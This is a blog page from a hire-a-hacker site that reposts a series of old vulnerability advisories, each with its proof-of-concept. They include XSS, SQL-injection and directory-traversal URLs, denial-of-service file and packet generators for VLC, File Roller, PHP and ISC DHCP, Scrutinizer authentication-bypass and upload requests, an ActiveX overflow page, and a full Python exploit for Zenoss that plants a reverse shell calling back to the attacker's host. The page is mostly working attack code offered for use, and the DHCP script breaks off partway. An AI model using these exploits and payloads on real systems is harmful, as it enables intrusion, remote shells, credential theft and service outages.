Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863584340

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/54812/info

Worksforweb iAuto is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. 

Review:  Add Comments - Listing

<div class="addComment">
<h1>Reply to The Comment</h1>
<div class="pageDescription">
<div class="commentInfo">You are replying to the comment 
#"><iframe src="iAuto%20%20%20Listing%20Comments%20Reply%20to%20The%20Comment-Dateien/[PERSISTENT INJECTED CODE!])' 
<="" to="" 
listing="" #448="" "<span="" class="fieldValue fieldValueYear" height="900" width="1000">2007</span>
<span class="fieldValue fieldValueMake">Acura</span> 



1.2
The client side cross site scripting vulnerabilities can be exploited by remote attackers with medium or highr equired 
user inter action.
Fo demonstration or reproduce ...

String: "><iframe src=http://vuln-lab.com width=1000 height=900 onload=alert("VulnerabilityLab") <

Dealer > Search Sellers > City

PoC:
http://www.example.com/iAuto/m/users/search/?DealershipName[equal]=jamaikan-hope23&City[equal]=%22%3E%3Ciframe+src%3Dhttp%3A%2F%2Fvuln-lab.com+
width%3D1000+height%3D900+onload%3Dalert%28%22VulnerabilityLab%22%29+%3C&State[equal]=11&action=search


Browse by Make and Model / AC Cobra / >

PoC:
http://www.example.com/iAuto/m/browse-by-make-model/AC+Cobra/%22%3E%3Ciframe%20src=http://vuln-lab.com%20
width=1000%20height=900%20onload=alert%28%22VulnerabilityLab%22%29%20%3C/


Comments > Reply to The Comment > Topic & Text (commentSid)

PoC:
http://www.example.com/iAuto/m/comment/add/?listingSid=448&commentSid=%22%3E%3Ciframe%20src=http://vuln-lab.com%20width=1000
%20height=900%20onload=alert%28%22VulnerabilityLab%22%29%20%3C&returnBackUri=%2Flisting%2Fcomments%2F448%2F%3F
HireHackking 
source: https://www.securityfocus.com/bid/54814/info

The 'com_photo' module for Joomla! is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com.np/index.php?option=com_photo&task=gallery&AlbumId=8[SQL Injection]

http://www.example.com/index.php?option=com_photo&action=slideview&key=16[SQL Injection]
HireHackking 
source: https://www.securityfocus.com/bid/54817/info

PolarisCMS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/reselleradmin/blog.aspx?%27%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E
http://www.example.com/reselleradmin/blog.aspx?%27onmouseover=prompt(101)%3E
HireHackking 
source: https://www.securityfocus.com/bid/54805/info

Elefant CMS is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Elefant CMS 1.2.0 is vulnerable; other versions may also be affected. 

 http://www.example.com/admin/versions?id=[XSS]&type=Webpage
HireHackking 
source: https://www.securityfocus.com/bid/54793/info

Zenoss is prone to the following security vulnerabilities:

1. Multiple arbitrary command-execution vulnerabilities
2. Multiple HTML-injection vulnerabilities
3. An open-redirection vulnerability
4. Multiple directory-traversal vulnerabilities
5. Multiple information-disclosure vulnerabilities
6. A code-execution vulnerability

An attacker can exploit these issues to retrieve arbitrary files, redirect a user to a potentially malicious site, execute arbitrary commands, execute HTML and script code in the context of the affected site, steal cookie-based authentication credentials to perform unauthorized actions in the context of a user's session, or disclose sensitive-information.

Zenoss 3.2.1 and prior are vulnerable.

# Zenoss <= 3.2.1 Remote Post-Authentication Command Execution #################
# o Requires:     Credentials for a user with "ZenManager" or "Manager" roles.
# o Tested:       Zenoss 3.2.1
# o Default port: 8080
# Brendan Coles <bcoles at gmail dot com> # 2012-03-14
################################################################################
import socket, sys, random, time, re
#verbose = True
verbose = False

# usage
if len(sys.argv) < 6:
	print "Zenoss <= 3.2.1 Remote Post-Authentication Command Execution"
	print "[*] Usage: python "+sys.argv[0]+" <RHOST> <RPORT> <username> <password> <LHOST> <LPORT>"
	print "[*] Example: python "+sys.argv[0]+" 192.168.1.10 8080 zenoss zenoss 192.168.1.1 4444"
	sys.exit(0)

# zenoss details
RHOST    = sys.argv[1]
RPORT    = int(sys.argv[2])
username = sys.argv[3]
password = sys.argv[4]

# reverse shell
LHOST    = sys.argv[5]
LPORT    = int(sys.argv[6])

# random file name
filename = ""
for i in range(0,random.randint(10,20)):
	filename = filename+chr(random.randint(97,122))

# connect to RHOST:RPORT
try:
	socket.inet_aton(RHOST)
except socket.error:
	print "[-] Error: Could not create socket."
	sys.exit(1)
try:
	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.connect((RHOST,RPORT))
except:
	print "[-] Error: Could not connect to server"
	sys.exit(1)


# Login and get cookie
if verbose: print "[*] Logging in"
request = "GET /zport/acl_users/cookieAuthHelper/login?__ac_name="+username+"&__ac_password="+password+" HTTP/1.1\r\nHost: "+RHOST+":"+str(RPORT)+"\r\n\r\n"
try:
	# send request
	s.sendto(request, (RHOST, RPORT))
	data = s.recv(1024)
	if verbose: print str(data)+"\r\n"
	# get ginger cookie
	m = re.search('(__ginger_snap=".+";)', data)
	if not m:
		raise Exception("[-] Error: Could not retrieve __ginger_snap cookie value")
	else:
		ginger_cookie = str(m.group(1))
except:
	print "[-] Error: Login failed"
	sys.exit(1)


# Add empty command to web interface
if verbose: print "[*] Adding command to Zenoss"
request = "GET /zport/dmd/ZenEventManager/commands/?id="+filename+"&manage_addCommand%3Amethod=+Add+&__ac_name="+username+"&__ac_password="+password+" HTTP/1.1\r\nHost: "+RHOST+":"+str(RPORT)+"\r\n\r\n"
try:
	# send request
	s.sendto(request, (RHOST, RPORT))
	data = s.recv(1024)
	if verbose: print str(data)+"\r\n"
	m = re.search('(Bobo-Exception-Type: Unauthorized)', data)
	if m: raise Exception("[-] Error: Incorrect username/password")
	else: print "[+] Added command to Zenoss successfully"
except:
	print "[-] Error: Adding command to Zenoss failed"
	sys.exit(1)


# Wait for command to be saved
wait = 5
if verbose: print "[*] Waiting "+str(wait)+" seconds"
time.sleep(wait)


# Edit command to drop a python reverse shell request in /tmp/
if verbose: print "[*] Updating command with payload"
postdata = "zenScreenName=editEventCommand.pt&enabled%3Aboolean=True&defaultTimeout%3Aint=60&delay%3Aint=1&repeatTime%3Aint=15&command=echo+%22import+socket%2Csubprocess%2Cos%3Bhost%3D%5C%22"+LHOST+"%5C%22%3Bport%3D"+str(LPORT)+"%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28host%2Cport%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B+os.dup2%28s.fileno%28%29%2C1%29%3B+os.dup2%28s.fileno%28%29%2C2%29%3Bp%3Dsubprocess.call%28%5B%5C%22%2Fbin%2Fsh%5C%22%2C%5C%22-i%5C%22%5D%29%3B%22+%3E+%2Ftmp%2F"+filename+".py%20%26%26%20chmod%20%2bx%20%2Ftmp%2F"+filename+".py%20%26%26%20python%20%2Ftmp%2F"+filename+".py&clearCommand=&add_filter=&manage_editEventCommand%3Amethod=+Save+"
request = "POST /zport/dmd/ZenEventManager/commands/"+filename+"?__ac_name="+username+"&__ac_password="+password+" HTTP/1.1\r\nHost: "+RHOST+":"+str(RPORT)+"\r\nX-Requested-With: XMLHttpRequest\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: "+str(len(postdata))+"\r\n\r\n"+postdata
try:
	# send request
	s.sendto(request, (RHOST, RPORT))
	data = s.recv(1024)
	if verbose: print str(data)+"\r\n"
	# get zope cookie
	m = re.search('(_ZopeId=".+";)', data)
	if not m: raise Exception("[-] Error: Could not retrieve _ZopeId cookie value")
	else:
		zope_cookie = str(m.group(1))
		print "[+] Sent payload successfully"
except:
	print "[-] Error: Sending payload failed"
	sys.exit(1)


# Wait for command to be saved
wait = 5
if verbose: print "[*] Waiting "+str(wait)+" seconds"
time.sleep(wait)


# Send trigger event and get event id
if verbose: print "[*] Sending trigger event"
postdata = '{"action":"EventsRouter","method":"add_event","data":[{"summary":"'+filename+'","device":"'+filename+'","component":"'+filename+'","severity":"Info","evclasskey":"","evclass":""}],"type":"rpc","tid":0}'
request = "POST /zport/dmd/Events/evconsole_router HTTP/1.1\r\nHost: "+RHOST+":"+str(RPORT)+'\r\nX-Requested-With: XMLHttpRequest\r\nCookie: '+ginger_cookie+' '+zope_cookie+'\r\nContent-Type: application/json; charset=UTF-8\r\nContent-Length: '+str(len(postdata))+'\r\n\r\n'+postdata
try:
	# send request
	s.sendto(request, (RHOST, RPORT))
	data = s.recv(1024)
	if verbose: print str(data)+"\r\n"
	# get trigger event id "evid"
	m = re.search('"evid": "(.+)"', data)
	evid = ""
	if not m: raise Exception("[-] Error: Sending trigger event failed")
	else:
		evid = str(m.group(1))
		print "[+] Sent trigger event successfully"
except:
	print "[-] Error: Sending trigger event failed"


# Wait for command to execute
wait = 60
if verbose: print "[*] Waiting "+str(wait)+" seconds"
time.sleep(wait)


# Delete trigger from web interface
if verbose: print "[*] Deleting the trigger"
postdata = '{"action":"EventsRouter","method":"close","data":[{"evids":["'+evid+'"],"excludeIds":{},"selectState":null,"field":"component","direction":"ASC","params":"{\\"severity\\":[5,4,3,2],\\"eventState\\":[0,1]}","asof":0}],"type":"rpc","tid":0}'
request = "POST /zport/dmd/Events/evconsole_router HTTP/1.1\r\nHost: "+RHOST+":"+str(RPORT)+'\r\nX-Requested-With: XMLHttpRequest\r\nCookie: '+ginger_cookie+' '+zope_cookie+'\r\nContent-Type: application/json; charset=UTF-8\r\nContent-Length: '+str(len(postdata))+'\r\n\r\n'+postdata
try:
	# send request
	s.sendto(request, (RHOST, RPORT))
	data = s.recv(1024)
	if verbose: print str(data)+"\r\n"
	print "[+] Deleted trigger successfully"
except:
	print "[-] Error: Deleting trigger failed"


# Delete command from web interface
if verbose: print "[*] Deleting the command from Zenoss"
request = "GET /zport/dmd/ZenEventManager?zenScreenName=listEventCommands&redirect=false&ids%3Alist="+filename+"&id=&manage_deleteCommands%3Amethod=Delete&__ac_name="+username+"&__ac_password="+password+" HTTP/1.1\r\nHost: "+RHOST+":"+str(RPORT)+"\r\n\r\n"
try:
	s.sendto(request, (RHOST, RPORT))
	data = s.recv(1024)
	if verbose: print str(data)+"\r\n"
	print "[+] Deleted command from Zenoss successfully"
except:
	print "[-] Error: Deleting command failed"

print "[+] You should now have a reverse shell at "+LHOST+":"+str(LPORT)
print "[+] Don't forget to delete /tmp/"+filename+".py"
HireHackking 
source: https://www.securityfocus.com/bid/54793/info
 
Zenoss is prone to the following security vulnerabilities:
 
1. Multiple arbitrary command-execution vulnerabilities
2. Multiple HTML-injection vulnerabilities
3. An open-redirection vulnerability
4. Multiple directory-traversal vulnerabilities
5. Multiple information-disclosure vulnerabilities
6. A code-execution vulnerability
 
An attacker can exploit these issues to retrieve arbitrary files, redirect a user to a potentially malicious site, execute arbitrary commands, execute HTML and script code in the context of the affected site, steal cookie-based authentication credentials to perform unauthorized actions in the context of a user's session, or disclose sensitive-information.
 
Zenoss 3.2.1 and prior are vulnerable.

http://www.example.com/zport/About/showDaemonXMLConfig?daemon=uname%20-a%26
http://www.example.com/zport/dmd/Events/Users/@@eventClassStatus?tableName=eventinstances&sortedHeader=primarySortKey&sortedSence=&sortRule=cmp&sortedSence="><script>alert(document.cookie)</script><"
http://www.example.com/zport/dmd/Events/Users/eventClassStatus?tableName=eventinstances&sortedHeader=primarySortKey&sortedSence=&sortRule=cmp&sortedSence="><script>alert(document.cookie)</script><"
http://www.example.com/zport/dmd/Events/Status/Snmp/@@eventClassStatus?tableName=eventinstances&sortedHeader=primarySortKey&sortedSence="><script>alert(document.cookie)</script><"
http://www.example.com/zport/dmd/ZenEventManager/listEventCommands?tableName=eventCommands&sortedHeader=primarySortKey&sortRule=cmp&sortedSence="><script>alert(document.cookie)</script><"
http://www.example.com/zport/dmd/backupInfo?tableName=backupTable&sortedHeader=fileName&sortRule=cmp&sortedSence="><script>alert(document.cookie)</script>
http://www.example.com/zport/acl_users/cookieAuthHelper/login?came_from=http%3a//example%2ecom/%3f
http://www.example.com/zport/About/viewDaemonLog?daemon=../../../var/log/mysqld
http://www.example.com/zport/About/viewDaemonConfig?daemon=../../../../etc/syslog
http://www.example.com/zport/About/editDaemonConfig?daemon=../../../../etc/syslog
http://www.example.com/zport/RenderServer/plugin?name=../../../../../../tmp/arbitrary-python-file
http://www.example.com/zport/dmd/ZenEventManager
http://www.example.com/manage
HireHackking 
source: https://www.securityfocus.com/bid/54791/info

VLC Media Player is prone to a denial-of-service vulnerability.

Successful exploits may allow attackers to crash the affected application, denying service to legitimate users.

VLC Media Player 2.0.2 is vulnerable; other versions may also be affected. 

#!/usr/bin/perl
my $a ="\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
my $b ="\x00\x00\x00\xnn\x66\x74\x79\x70\x33\x67\x70";
my $c ="\x62\x6\x74\x77\x65\x65\x6e\x20\x74\x68\x65\x20\x68\x65\x61\x64\x65\x72\x20\x61\x6e\x64\x20\x74\x68\x65\x20\x66\x6f\x6f\x74\x65\x72\x20\x74\x68\x65\x72\x65\x27\x73\x20\x64\x61\x72\x6b\x2d\x70\x75\x7a\x7a\x6c\x65";
my $d ="\x33\x67\x70";
 

my $file = "darkpuzzle.3gp";

open ($File, ">$file");
print $File $a,$b,$c,$d;
close ($File);
HireHackking 
source: https://www.securityfocus.com/bid/54792/info

ntop is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

ntop 4.0.3 is vulnerable; other versions may also be affected. 

http://www.example.com/plugins/rrdPlugin?action=arbreq&which=graph&arbfile=TEST">[XSS]&arbiface=eth0&start=1343344529&end=1343348129&counter=&title=Active+End+Nodes&mode=zoom
HireHackking 
source: https://www.securityfocus.com/bid/54786/info

tekno.Portal is prone to an SQL-injection vulnerability.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

tekno.Portal 0.1b is vulnerable; other versions may also be affected. 

 http://www.example.com/teknoportal/link.php?kat=[Blind SQL Injection]
HireHackking 
source: https://www.securityfocus.com/bid/54733/info

DataWatch Monarch Business Intelligence is prone to multiple input validation vulnerabilities.

Successful exploits will allow an attacker to manipulate the XPath query logic to carry out unauthorized actions on the XML documents of the application. It will also allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

DataWatch Monarch Business Intelligence 5.1 is vulnerable; other versions may also be affected. 

http://www.example.com/ESAdmin/jsp/tabview.jsp?mode=add</script><script>alert(1)</script>&type=2&renew=1&pageid=PAGE_MPROCESS

http://www.example.com/ESClient/jsp/customizedialog.jsp?templateType=-1&doctypeid=122&activetab=DM_DOCUMENT_LIST&fields=filter;sort;summary;&searchtype=document'&doclist.jsp
HireHackking 
source: https://www.securityfocus.com/bid/54777/info

PHP is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to cause the web server to crash, denying service to legitimate users.

PHP 5.4.3 is vulnerable; other versions may also be affected. 

<?php
 try {
 $db = new PDO('mysql:host=localhost;dbname=aws', "root", "");
 //tokens: 
 // SELECT;*;from;'user';/*
 //$sql = "SELECT * from 'user'/*";
 $stmt = $db->prepare("SELECT * from 'user'".mysql_real_escape_string($_GET['query']));
 $stmt->execute();
 //crash
 $stmt->bindColumn(2, $type, PDO::PARAM_STR, 256);
 $stmt->fetch(PDO::FETCH_BOUND);
 print_r( $type);
 }
 catch (Exception $e)
 {
 echo "Failed: " . $e->getMessage();
 }
 ?>
 -----
 <?php
try {
$db = new PDO('mysql:host=localhost;dbname=aws', "root", "");

//tokens:
// SELECT;*;from;'user';/* 
$sql = ":/*";

$stmt = $db->prepare($sql);
$stmt->execute();     // crashes php worker in pdo_parse_params()

$stmt->bindColumn(2, $type, PDO::PARAM_STR, 256);
$stmt->fetch(PDO::FETCH_BOUND);
print_r( $type);

} catch (Exception $e) {
  echo "Failed: " . $e->getMessage();
}

?>
---

<pre>
<?php
echo "hmm beginning\n";
try {
$db = new PDO('mysql:host=localhost;dbname=aws', "root", "");
echo "lets get it on\n";
//tokens:
// SELECT;*;from;'user';/* 
$sql = "SELECT * from user :/**";
echo $sql;
$stmt = $db->prepare($sql);
echo "prepared :)\n";
print_r($stmt);
$stmt->execute();     // crashes php worker in pdo_parse_params()
print_r($stmt);
echo "executed :(\n";
$stmt->bindColumn(2, $type, PDO::PARAM_STR, 256);
$stmt->fetch(PDO::FETCH_BOUND);
echo "--data-\n";
print_r( $type);
echo "--data--\n";

} catch (Exception $e) {
        echo "EXCEPTION";
  echo "Failed: " . $e->getMessage();
}
echo "hmmm end\n";
?>
</pre>

Actual result:
--------------
root@bt:/opt/lampp# gdb ./bin/php 
(gdb) run poc_pdo_linux_short_1.php
Starting program: /opt/lampp/bin/php /opt/lampp/poc_pdo_linux_short_1.php
[Thread debugging using libthread_db enabled]

Program received signal SIGSEGV, Segmentation fault.
0x08228a81 in ?? ()
(gdb) bt
#0  0x08228a81 in ?? ()
#1  0x082280eb in pdo_parse_params ()
#2  0x08223891 in ?? ()
#3  0x084b2aad in ?? ()
#4  0x084b1f87 in execute ()
#5  0x08490ed2 in zend_execute_scripts ()
#6  0x0843f13c in php_execute_script ()
#7  0x08506b46 in main ()
HireHackking 
source: https://www.securityfocus.com/bid/54727/info

Scrutinizer is prone to an authentication-bypass vulnerability.

Exploiting this issue may allow an attacker to bypass certain security restrictions and perform unauthorized actions.

Scrutinizer 9.5.0 is vulnerable; other versions may also be affected. 

#Request
POST /cgi-bin/admin.cgi HTTP/1.1
Host: 10.70.70.212
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:11.0) Gecko/20100101 Firefox/11.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Content-Length: 70

tool=userprefs&newUser=trustwave&pwd=trustwave&selectedUserGroup=1

#Response
HTTP/1.1 200 OK
Date: Wed, 25 Apr 2012 17:52:15 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 19
Content-Type: text/html; charset=utf-8

{"new_user_id":"2"}
HireHackking 
source: https://www.securityfocus.com/bid/54726/info

Scrutinizer is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.

Scrutinizer 9.5.0 is vulnerable; other versions may also be affected. 

#Request
POST /d4d/uploader.php HTTP/1.0
Host: A.B.C.D
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: multipart/form-data; boundary=_Part_949_3365333252_3066945593
Content-Length: 210


--_Part_949_3365333252_3066945593
Content-Disposition: form-data; 
name="uploadedfile"; filename="trustwave.txt"
Content-Type: application/octet-stream

trustwave

--_Part_949_3365333252_3066945593--

#Response
HTTP/1.1 200 OK
Date: Wed, 25 Apr 2012 17:39:15 GMT
Server: Apache
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-Length: 41
Connection: close
Content-Type: text/html

{"success":1,"file_name":"trustwave.txt"}

#Confirming on File System
C:\>type "Program Files (x86)\Scrutinizer\snmp\mibs\trustwave.txt"
trustwave
HireHackking 
source: https://www.securityfocus.com/bid/54725/info

Scrutinizer is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Scrutinizer 9.5.0 is vulnerable; other versions may also be affected. 

#Request 1
GET /d4d/exporters.php?a<script>alert(123)</script>=1 HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive

#Response 1
<snip>
<a href="/d4d/exporters.php?a<script>alert(1)</script>=1">/d4d/exporters.php?a<script>alert(123)</script>=1</a></td></tr>
<snip>

#Request 2
GET /d4d/exporters.php HTTP/1.1
Host: A.B.C.D
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://D.E.F.G/search?hl=en&q=a<script>alert(123)</script>=1
Content-Length: 2

#Response 2
<snip>
<a href="http://D.E.F.G/search?hl=en&q=a<script>alert(123)</script>=1">http://D.E.F.G/search?hl=en&q=a<script>alert(123)</script>=1</a>
<snip>
HireHackking 
#!/usr/bin/perl
#
# Title: File Roller - DoS PoC
# Date: 08/07/2015
# Author: Arsyntex
# Homepage: https://wiki.gnome.org/Apps/FileRoller
# Version: v3.4.1
# Tested on: Linux lab 3.2.0-85-generic-pae #122-Ubuntu i686 i386 GNU/Linux
# -------------------------------------------------------------------------
# Create a zip file with a folder inside named: #
#
# Run: file-roller --extract-here test.zip
#
# Result: endless call's of lstat64() (50 % CPU usage) (Freeze app)
# 

$zip = "\x50\x4b\x03\x04\x14\x03\x00\x00\x00\x00\xd6\x55\x9c\x46\x00\x00" .
       "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x23\x2f" .
       "\x50\x4b\x01\x02\x3f\x03\x14\x03\x00\x00\x00\x00\xd6\x55\x9c\x46" .
       "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00" .
       "\x00\x00\x00\x00\x00\x00\x10\x80\xfd\x41\x00\x00\x00\x00\x23\x2f" .
       "\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\x30\x00\x00\x00" .
       "\x20\x00\x00\x00\x00\x00";
                     
open FILE, ">poc.zip" or die("Can't open poc.zip\n") ;
binmode(FILE) ;
print FILE $zip ;
close FILE ;
HireHackking 
source: https://www.securityfocus.com/bid/54715/info

ocPortal is prone to a URI-redirection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing attacks; other attacks are possible.

Versions prior to ocPortal 7.1.6 are vulnerable. 

http://www.example.com/ocportal/index.php?page=login&type=misc&redirect=http://example1.com
HireHackking 
/*
source: https://www.securityfocus.com/bid/54702/info

The Linux kernel is prone to a local information-disclosure vulnerability.

Local attackers can exploit this issue to obtain sensitive information that may lead to further attacks. 
*/


/***************** rds_client.c ********************/

int main(void)
{
int sock_fd;
struct sockaddr_in serverAddr;
struct sockaddr_in toAddr;
char recvBuffer[128] = "data from client";
struct msghdr msg;
struct iovec iov;

sock_fd = socket(AF_RDS, SOCK_SEQPACKET, 0);
if (sock_fd < 0) {
perror("create socket error\n");
exit(1);
}

memset(&serverAddr, 0, sizeof(serverAddr));
serverAddr.sin_family = AF_INET;
serverAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
serverAddr.sin_port = htons(4001);

if (bind(sock_fd, (struct sockaddr*)&serverAddr, sizeof(serverAddr)) < 0) {
perror("bind() error\n");
close(sock_fd);
exit(1);
}

memset(&toAddr, 0, sizeof(toAddr));
toAddr.sin_family = AF_INET;
toAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
toAddr.sin_port = htons(4000);
msg.msg_name = &toAddr;
msg.msg_namelen = sizeof(toAddr);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_iov->iov_base = recvBuffer;
msg.msg_iov->iov_len = strlen(recvBuffer) + 1;
msg.msg_control = 0;
msg.msg_controllen = 0;
msg.msg_flags = 0;

if (sendmsg(sock_fd, &msg, 0) == -1) {
perror("sendto() error\n");
close(sock_fd);
exit(1);
}

printf("client send data:%s\n", recvBuffer);

memset(recvBuffer, '\0', 128);

msg.msg_name = &toAddr;
msg.msg_namelen = sizeof(toAddr);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_iov->iov_base = recvBuffer;
msg.msg_iov->iov_len = 128;
msg.msg_control = 0;
msg.msg_controllen = 0;
msg.msg_flags = 0;
if (recvmsg(sock_fd, &msg, 0) == -1) {
perror("recvmsg() error\n");
close(sock_fd);
exit(1);
}

printf("receive data from server:%s\n", recvBuffer);

close(sock_fd);

return 0;
}

/***************** rds_server.c ********************/

int main(void)
{
struct sockaddr_in fromAddr;
int sock_fd;
struct sockaddr_in serverAddr;
unsigned int addrLen;
char recvBuffer[128];
struct msghdr msg;
struct iovec iov;

sock_fd = socket(AF_RDS, SOCK_SEQPACKET, 0);
if(sock_fd < 0) {
perror("create socket error\n");
exit(0);
}

memset(&serverAddr, 0, sizeof(serverAddr));
serverAddr.sin_family = AF_INET;
serverAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
serverAddr.sin_port = htons(4000);
if (bind(sock_fd, (struct sockaddr*)&serverAddr, sizeof(serverAddr)) < 0) {
perror("bind error\n");
close(sock_fd);
exit(1);
}

printf("server is waiting to receive data...\n");
msg.msg_name = &fromAddr;

/*
 * I add 16 to sizeof(fromAddr), ie 32,
 * and pay attention to the definition of fromAddr,
 * recvmsg() will overwrite sock_fd,
 * since kernel will copy 32 bytes to userspace.
 *
 * If you just use sizeof(fromAddr), it works fine.
 * */
msg.msg_namelen = sizeof(fromAddr) + 16;
/* msg.msg_namelen = sizeof(fromAddr); */
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_iov->iov_base = recvBuffer;
msg.msg_iov->iov_len = 128;
msg.msg_control = 0;
msg.msg_controllen = 0;
msg.msg_flags = 0;

while (1) {
printf("old socket fd=%d\n", sock_fd);
if (recvmsg(sock_fd, &msg, 0) == -1) {
perror("recvmsg() error\n");
close(sock_fd);
exit(1);
}
printf("server received data from client:%s\n", recvBuffer);
printf("msg.msg_namelen=%d\n", msg.msg_namelen);
printf("new socket fd=%d\n", sock_fd);
strcat(recvBuffer, "--data from server");
if (sendmsg(sock_fd, &msg, 0) == -1) {
perror("sendmsg()\n");
close(sock_fd);
exit(1);
}
}

close(sock_fd);
return 0;
}
HireHackking 
source: https://www.securityfocus.com/bid/54701/info

BarCodeWiz ActiveX control is prone to a buffer-overflow vulnerability because it fails to sufficiently bounds-check user-supplied input.

An attacker may exploit this issue by enticing victims into opening a malicious webpage or HTML email that invokes the affected control.

Successful exploits will allow attackers to execute arbitrary code within the context of the affected application (typically Internet Explorer) that uses the ActiveX control. Failed exploit attempts will result in a denial-of-service condition.

BarCodeWiz 4.0.0.0 is vulnerable to this issue; other versions may be affected as well. 

<html>
Exploit
<object classid='clsid:CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6' id='poc'
/></object>
<script language='vbscript'>
targetFile = "C:\Program Files (x86)\BarCodeWiz ActiveX
Trial\DLL\BarcodeWiz.dll"
prototype  = "Property Let Barcode As String"
memberName = "Barcode"
progid     = "BARCODEWIZLib.BarCodeWiz"
argCount   = 1
arg1=String(14356, "A")
poc.Barcode = arg1
</script>
HireHackking 
source: https://www.securityfocus.com/bid/54698/info

tekno.Portal is prone to an SQL-injection vulnerability.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

tekno.Portal 0.1b is vulnerable; other versions may also be affected. 

 http://www.example.com/teknoportal/anket.php?id=[SQLi]
HireHackking 
source: https://www.securityfocus.com/bid/54665/info

ISC DHCP is prone to multiple denial-of-service vulnerabilities.

An attacker can exploit these issues to cause the affected application to crash, resulting in a denial-of-service condition. 

#!/usr/bin/python
'''
    SC DHCP 4.1.2 <> 4.2.4 and 4.1-ESV <> 4.1-ESV-R6 remote denial of
    service(infinite loop and CPU consumption/chew) via zero'ed client name length
 
http://www.k1p0d.com
 
'''
 
import socket
import getopt
from sys import argv
 
def main():
    args = argv[1:]
    try:
        args, useless = getopt.getopt(args, 'p:h:')
        args = dict(args)
        args['-p']
        args['-h']
    except:
        usage(argv[0])
        exit(-1)
 
    dhcp_req_packet = ('\x01\x01\x06\x00\x40\x00\x03\x6f'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x22\x5f\xae'
    '\xa7\xdf\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00'
